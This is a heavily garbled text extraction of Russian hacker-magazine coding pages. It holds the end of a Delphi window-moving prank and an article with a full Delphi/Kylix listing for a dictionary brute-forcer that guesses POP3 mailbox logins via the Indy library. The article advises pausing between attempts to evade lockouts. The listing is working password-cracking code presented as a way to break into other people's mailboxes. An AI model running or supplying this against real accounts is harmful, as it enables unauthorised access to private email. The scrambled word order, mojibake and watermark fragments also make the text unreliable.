 

 

eginDeferWindowPos(WindowsList

 

 

 

 

 

 

 

 

 

 

 

 

MWStruct:=B

 

then

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if Pointer(MWStruct)<>nil

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

.Count-1 do//запускаю цикл по всем окнам

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for j:=0 to WindowsList

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

e(WindowsList[j]),WRct);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ect(THandl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GetWindowR

 

 

 

 

 

 

 

 

HWND_BOTTOM,

 

 

 

 

 

 

 

eferWindowPos(MWStruct, THandle(WindowsList[j]),

 

 

 

 

 

 

 

MWStruct:=D

 

 

 

 

-WRct.Left,

 

 

 

 

 

 

 

 

 

 

 

WRct.Left+i, WRct.Top, WRct.Right

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-WRct.Top, SWP_NOACTIVATE or SWP_NOZORDER);

 

 

 

 

 

 

 

 

 

 

WRct.Bottom

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

сдвига

 

 

 

 

 

 

 

 

 

 

 

EndDeferWindowPos(MWStruct);//Конец

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

ñ.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Делаю задержку в 10

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ent(nil, true, false, ‘’);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

h:=CreateEv

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

eObject(h, 10000);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WaitForSingl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e(h);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CloseHandl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Дополнительную

инфу, как всегда,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сайте

 

 

 

 

 

 

 

 

 

 

 

можно найти на

ìîåì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-online

 

 

 

 

 

 

 

 

 

 

 

 

t.com/vr

 

 

 

 

 

 

 

 

 

 

 

 

www.cydsof

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Disconnec

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

Ì

не самому так понравился

пример, что я целых полчаса играл с окнами

 

 

 

 

 

 

 

 

 

 

 

мне понравилось

трени-

 

 

Они так прикольно исчезают. Но больше всего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Для этого я уменьшил за-

 

 

 

ровать себя в скорости снятия приложения

 

 

 

 

 

 

 

 

держку до 5 секунд.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Напоследок хочу предупредить,

что прога невидима

â Win9x. Â Win2000/ÕÐ åå

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можно увидеть диспетчере задач только на закладке

“Процессы”

 

 

 

-

 

 

Вот таким способом реализовано большинство

прог, переключающих

экраны. До

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

cydsoft.com/vr

 

 

полнительную инфу, как всегда,

можно

найти на моем сайте www.

 

 

 

 

 

журнала

будут лежать

исходники моего

 

 

online. Там же после выхода этого номера

 

 

 

 

то качай

èõ.

 

 

 

 

 

 

 

. Так что если возникнут проблемы,

 

 

 

 

 

 

брутфорса

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P.S. У меня к тебе просьба на сто баксов

:). Не пиши мне большие письма.

 

 

 

 

äåíü

валят вопросами

. ß íå â

 

 

После появления рубрики кодинг меня каждый

-

 

 

 

 

 

 

 

 

÷òî-òî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. ß ìîãó

подска

 

 

состоянии всем рассказывать

то, о чем пишут книги

 

 

 

 

 

 

 

. А просьбы типа помоги написать прогу во-

 

 

 

 

 

 

 

зать, где-то помочь, но не больше

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

. Я отвечаю только на те вопросы, где ответ

займет несколь

 

 

обще нереальны

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

. Целые лекции по мылу я разводить

не могу. Я бы с удовольстви

 

 

 

 

 

 

 

à ÿ îäèí

:(((. Ïî-

 

 

ко строчек

 

 

. Вас слишком много,

 

 

ем помог всем, но это НЕВОЗМОЖНО

 

 

 

маленьких и спрашивай посте-

 

 

этому

лучше разбей свой вопрос на

несколько

 

проги

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рис 2. Я еле успел снять скрин работы

пенно, а не все сразу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

72

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

i

r

Kylix.

 

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

Против

 

 

 

 

 

 

 

 

 

 

 

m

ëîì

à

íåò

w Click

 

 

 

 

 

 

.

 

 

 

 

g

.

 

 

 

 

 

 

 

p

 

 

-x cha

 

 

 

 

 

 

 

 

 

приема

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

Ïîðà áû ñîçä

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ать свой собственный BruteForce

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Фленов Михаил

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(smirnandr@mail.ru) http://www.cydsoft.com/vr-online/

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Иногда мне приходит один интересный вопрос:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тупым

перебором, после какой-то

 

 

 

 

 

Почему, когда я

 

пытаюсь взломать сервак

 

 

попытки происходит

 

time-out

 

 

 

 

ß

уже несколько раз отвечал,

 

 

 

 

и взлом

останавливается?”.

 

 

 

 

 

÷òî

после

определенного

числа

 

 

 

 

 

блокировать

учетную

ç

апись

 

 

 

 

 

 

 

 

попыток сервер

может

 

 

 

 

 

 

 

 

 

 

 

òî

 

на некоторые промежутки

времени.

Åñëè

выждать это время,

 

 

 

 

 

 

 

 

 

 

можно

áåç

 

проблем продолжать

подбор

 

 

К этому вопросу мне часто

 

 

 

 

 

 

 

 

 

дальше.

 

 

 

 

 

 

присылают до кучи еще один: “А как продолжить подбор

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñ î

 

 

 

 

 

Добавим на форму еще один

 

 

 

 

 

 

 

 

 

 

становленного

места?”. Вот этого я не

çíàþ. Âñå

зависит

îò

проги, с помощью

компонент-

кнопку

òèïà

TButton, по нажатию которой

которой ты

 

пытаешься

 

 

 

будет начинаться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

перебор паролей по словарю.

 

ïðèî

 

 

 

 

 

подобрать пароль. Не каждая тулза позволяет

Indy -

 

 

 

Ну и, наконец, IdPOP3

с закладки

 

станавливать

брутфорс и продолжать

его дальше. В этом

случае

единственный

компонент для работы по протоколу POP3.

 

 

 

 

 

выход -

 

 

 

 

 

 

 

 

 

корректировать словарь.

 

 

 

 

 

 

 

 

 

Антифриз

 

 

 

 

 

 

 

 

 

 

 

 

Тупой перебор -

глупейшее

занятие, отнимающее много времени, но

иногда

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

единственный выход. А каждый раз

корректировать словарь -

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íå

столкнулся

с такой проблемой,

еще тупее. Чтобы ты

Ä

ля большей солидности я бросил на форму еще и

 

 

 

 

лучше всего написать соб

 

 

 

 

IdAntiFreeze

ñ

 

сегодня покажу тебе, как самому написать

 

 

 

 

 

ственную тулзу. Я

Indy Misc. Это компонент,

 

 

 

 

 

закладки

брутфорсник. И

 

сделаем мы это на

который следит за тем, чтобы прога

 

примере

взломщика

 

 

 

 

 

 

â

 

 

 

 

 

 

не зависла

 

 

почтовых ящиков. Код примера будет дан для Kylix и для Delphi,

ожидании ответа от сервера при работе с портом.

 

 

 

 

 

 

 

 

 

 

 

 

чтобы ты мог собрать его под любую ОС.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Стройся!!!

 

 

Ð

аботу с почтовым ящиком я

 

 

решил построить на основе уже знакомой тебе

библиотеки Indy

для более

 

(напоминаю, что она встроена в Delphi6,

старой

версии нужно устанавливать отдельно).

 

 

 

 

ß

советую

òåáå

постоянно

использовать

антифриз,

когда

работаешь с

библиотекой

Indy.

Хотя я проблем пока не встречал,

но софт с досадными ошибками

никого не возбудит.

 

 

Шкодинг

Рисунок 1. Библиотека Indy

Рисунок 2. Форма будущей проги

110, но все же дадим возможность изменять его. Можешь располагать эти компоненты как угодно, но Мой вариант формы можешь увидеть на рисунке 2.

Äëÿ

самого

примера

íàì

понадобятся

 

четыре

компонента TEdit:

 

 

1. Назовем “NameEdit” -

äëÿ

указания файла-справочника

èìåí.

 

 

 

 

2. Назовем “PassEdit”

-

äëÿ

указания файла-справочника

паролей.

 

 

 

3. Назовем “ServerNameEdit” -

для указания имени сервера.

4. Назовем “PortEdit”

-

äëÿ

указания порта. Я не думаю,

÷òî îí

будет

отличаться

îò

я решил сделать это в столбик.

 

 

 

 

 

 

 

 

 

 

 

Ò

 

еперь

 

давай

поймаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обработчик

 

события

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OnClick

äëÿ

кнопки

è

 

 

 

 

 

 

 

 

 

 

 

напишем

â

íåì

содержимое

 

 

 

 

 

 

 

 

 

 

 

листинга

 

1.

Òû

 

ïîêà

 

 

 

 

 

 

 

 

 

 

 

переписывай, а я ра

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

î

åãî

 

 

 

столкую тебе

Рисунок

3. Свойства антифриза

 

 

содержимом.

Â

íåì

 

 

 

 

объявлено две переменные типа

 

 

 

 

 

 

 

 

 

 

 

две целые переменные,

 

 

 

 

 

 

TStrings

(ýòî

массивы

строк)

è

 

 

 

 

 

 

 

 

 

 

 

В самом начале кода я

которые я буду использовать при переборе.

 

 

 

 

инициализирую обе

переменные. Напоминаю, что любой

 

 

 

 

 

объект нужно инициализировать. В этот

момент

åìó

выделяется необходимая

область памяти и вы

 

 

 

 

 

 

 

 

 

ставляются

значения по умолчанию для основных свойств. Для

инициализации нужно

 

 

 

 

присвоить переменной, указывающей

на объект, результат

вызова метода Create.

 

 

 

 

 

 

 

 

 

 

 

Следующим этапом я загружаю

справочники

имен и паролей. Справочники нужно

подготовить

заранее

â

 

 

 

виде простых

текстовых

файлов,

ãäå

каждая

строка

ïðåä

ставляет

собой отдельный

 

 

вариант пароля или

имени

пользователя. На

рисунке 4 ты можешь

видеть

пример такого

файла, в котором

 

 

 

 

 

 

записаны

четыре

варианта имен пользователя. Если ты хочешь

подобрать

пароль к изве

 

 

òåáå

ящику, то запиши в этот файл

одну строку,

содержащую имя

 

стному

 

 

 

 

 

 

 

пользователя

äëÿ

 

ящика. В основном это все, что находится до знака @.

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

w

 

 

to

 

 

 

 

o

Кодинг

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

ПРОТИВ ЛОМА НЕТ ПРИЕМА

Horrific aka Фленов Михаил (smirnandr@mail.ru) www.cydsoft.com/vr-online

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

 

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

. Если ты запустишь из Delphi, то будешь

ловить все

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стартуй

получившийся

åõå-øíèê

 

 

исключительные

ситуации.

 

 

 

 

 

 

to

 

 

 

 

 

 

несмотря

на то, что мы используем

 

wþ,

 

 

 

 

 

 

 

 

 

 

 

 

 

этот пример

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

ошибки,

 

 

 

руках. Можешь

доработать

 

 

по своему усмотрени

 

 

 

 

 

 

 

 

 

 

 

o

 

 

все в твоих

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

Теперь

 

 

 

 

 

 

 

 

 

 

 

.

Можешь

вставить

 

 

p

d

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

f-

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

паузы и

продолжения

 

 

 

 

 

 

 

 

 

x

c an

 

 

 

добавив

â íåãî

возможность

 

 

 

общее время перебора, зато

 

 

 

 

h

 

 

 

 

 

 

коннекта

в пару секунд, что увеличит

 

 

 

 

 

 

 

 

 

 

 

 

между попытками

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

исключит вероятность

вылета по time-out.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. ß

Файл справочника паролей

желательно подготовить

как можно более разумней

 

 

набор вариантов

 

 

на этом, потому

что правильный

не буду здесь останавливаться

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

паролей тема отдельного разговора

 

 

 

 

и порт, введенные

Далее я передаю компоненту

IdPOP адрес почтового сервера

 

 

начинать

 

 

готов

ê

 

ю и можно

тобой в прогу. Теперь наш компонент

подключени

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

перебор

 

 

 

 

 

 

 

 

 

 

Брутфорс

 

 

 

 

 

 

 

 

 

 

 

 

два цикла по содержимому

 

ëÿ

перебора я

 

 

 

 

ю одновременно

Ä

запуска

 

 

 

 

паролей:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

справочника имен и по справочнику

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t-1 do

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

trings.Coun

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for i:=0 to LoginS

 

 

t-1 do

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

trings.Coun

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for j:=0 to PassS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

возьмет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Это значит, что программа

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è

 

будет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

первое имя из справочника

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

между

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

þùèé êîä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

выполнять последу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

è

end

со всеми вариантами

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

паролей

èç

справочника

 

паролей

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èìÿ, è

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

þùåå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Потом будет взято следу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с ним повторится

та же процедура со

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всеми вариантами паролей

 

 

end ÿ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Между следующими begin и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Íî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

произвожу попытки соединения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сначала

 

 

 

 

ю текущее имя и

 

 

4. Пример справочника

èìåí

 

я переда

 

 

IdPOP.

 

Потом

Рисунок

 

пароль

компоненту

 

 

 

 

 

 

 

 

 

 

 

 

.

произвожу попытку соединения

и, если она удачна, вывожу об этом

сообщение

 

 

 

 

 

 

 

 

 

 

ючил вызов коннекта между словами try

 

 

 

 

 

 

 

 

 

 

 

 

Хочу обратить твое внимание,

 

÷òî ÿ çàêë

 

 

 

. Весь код, написанный между

...except

...end. Это очень интересная

конструкция

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

как бы защищенным

от непредвиденных

ситуаций

словами try и except, является

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

try

 

 

 

t;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IdPOP.Connec

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

except

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

попытки

Если при выполнении

êîäà

 

между

try

è except

 

данном

 

 

случае

 

 

 

 

 

 

 

 

 

 

 

 

ошибка, то программа не вылетит

и не высветит никаких

соединения) произойдет

 

 

 

end.

×òî? Ó ìåíÿ

êîä,

 

который написан

между except и

 

сообщений, а выполнит

 

 

 

 

 

 

 

 

продолжит работу

 

 

 

ничего

не выполнит, а спокойно

ничего не написано? Значит,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дальше :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ю нее твои проги

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. С помощь

 

 

 

 

 

 

Вот такая вещь называется

исключительной ситуацией

 

 

 

 

 

 

синего экрана

 

 

 

от сбоев, и вероятность появления

становятся

более защищенными

 

пользоваться

 

 

 

 

 

 

MS

научились

 

 

Âîò

если бы программеры

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êîäó, à

снижается

 

 

 

 

 

 

.... Ну ладно, давай лучше вернемся к нашему

 

 

ючительными ситуациями

 

 

 

 

 

 

 

 

на моем сайте.

 

 

 

 

 

èñêë

ючительные ситуации подробней почитаешь

ю найденный

 

 

 

 

 

 

 

 

 

 

ïðî èñêë

 

ю, существует ли

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

коннект, если да, то показыва

 

 

 

 

Дальше я проверя

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ючаюсь

от сервера

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пароль в отдельном

îêíå è îòêë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рисунок 5. Брутфорс в запуске

Disconnect

 

 

ОС, и везде он показал себя очень

 

 

 

брут под несколькими

 

протестировал

 

 

.

ß

Единственное замечание - запускай его отдельно

îò Delphi

 

.

 

потом

даже хорошо

 

ôàéë ñ

ю нажатия Ctrl+F9, а

Äëÿ

этого создай запускной

помощь

 

 

 

 

 

 

 

 

 

 

 

 

Рисунок 6. Брутфорс в работе

ïîä ÕÐ

 

 

 

 

ЛИСТИНГ

 

 

 

 

 

 

procedure TForm1.Button1Click(Sender:

TObject);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LoginStrings, PassStrings:TStrings;

 

 

 

 

 

 

 

 

 

 

 

i, j:Integer;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Создаю массивы строк.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Create;

 

 

 

 

 

 

 

 

 

 

 

LoginStrings:=TStringList

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Create;

 

 

 

 

 

 

 

 

 

 

 

PassStrings:=TStringList

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

ю варианты справочники имен и паролей

 

 

 

 

 

//Загружа

 

 

 

.Text);

 

 

 

 

 

 

 

 

 

.LoadFromFile(NameEdit

 

 

 

 

 

 

 

 

 

 

LoginStrings

 

 

.Text);

 

 

 

 

 

 

 

 

 

.LoadFromFile(PassEdit

 

 

 

 

 

 

 

 

 

 

 

PassStrings

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

ю адрес и порт сервера

 

 

 

 

 

 

 

 

 

//Устанавлива

 

 

.Text;

 

 

 

 

 

 

 

 

 

 

IdPOP.Host := ServerNameEdit

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Text);

 

 

 

 

 

 

 

 

 

 

IdPOP.Port := StrToInt(PortEdit

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

ю перебор

 

 

 

 

 

 

 

 

 

 

 

 

//Начина

 

.Count-1 do

 

 

 

 

 

 

 

 

 

 

 

for i:=0 to LoginStrings

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Count-1 do

 

 

 

 

 

 

 

 

 

 

 

for j:=0 to PassStrings

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ю имя и пароль компоненту

 

 

 

 

 

 

 

 

 

//Переда

 

 

.Strings[i];

 

 

 

 

 

 

 

 

IdPOP.UserID := LoginStrings

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Strings[j];

 

 

 

 

 

 

 

 

IdPOP.Password := PassStrings

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

//Попытка соединения

 

 

 

 

 

 

 

 

 

 

 

 

try

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IdPOP.Connect;

 

 

 

 

 

 

 

 

 

 

 

 

except

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

то вывести об

этом сообщение

 

 

 

//Если соединение установлено,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if IdPOP.Connected then

 

 

 

 

 

 

 

 

 

 

 

begin

найденный

пароль.

 

 

 

 

 

 

 

 

 

 

 

//Показать

 

 

 

 

 

 

.Strings[i]+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.MessageBox(PChar(‘Èìÿ:’+LoginStrings

 

 

 

 

Application

 

.Strings[j]), ‘Пароль

найден’);

 

 

 

 

‘ Пароль:’+PassStrings

 

 

 

 

 

 

 

 

 

 

 

IdPOP.Disconnect;

 

 

 

 

 

 

 

 

 

 

 

 

Exit;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

строк

 

 

 

 

 

 

 

 

 

 

 

ю массивы

 

 

 

 

 

 

 

 

 

 

 

//Уничтожа

.Free

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LoginStrings

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Free;

 

 

 

 

 

 

 

 

 

 

 

 

PassStrings

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

И последний

совет:

заведи себе хороший

словарь

 

что перебор

âñåõ

 

 

 

 

 

не подойдет,

то лучше забудь, потому

 

используй

åãî. Åñëè

 

.

 

 

 

 

 

 

-

вариантов

может забрать месяцы и более

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.cydsoft.com/vr

 

 

ю инфу, как всегда, можно найти

на моем сайте www

моего

 

 

 

 

 

исходники

Дополнительну

выхода этого номера журнала будут лежать

 

online. Там же после

 

 

 

 

 

 

 

 

 

 

èõ.

 

 

 

 

. Так что если возникнут проблемы, то качай

 

 

 

 

брутфорса

 

 

 

 

 

 

 

 

 

 

 

 

 

74

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

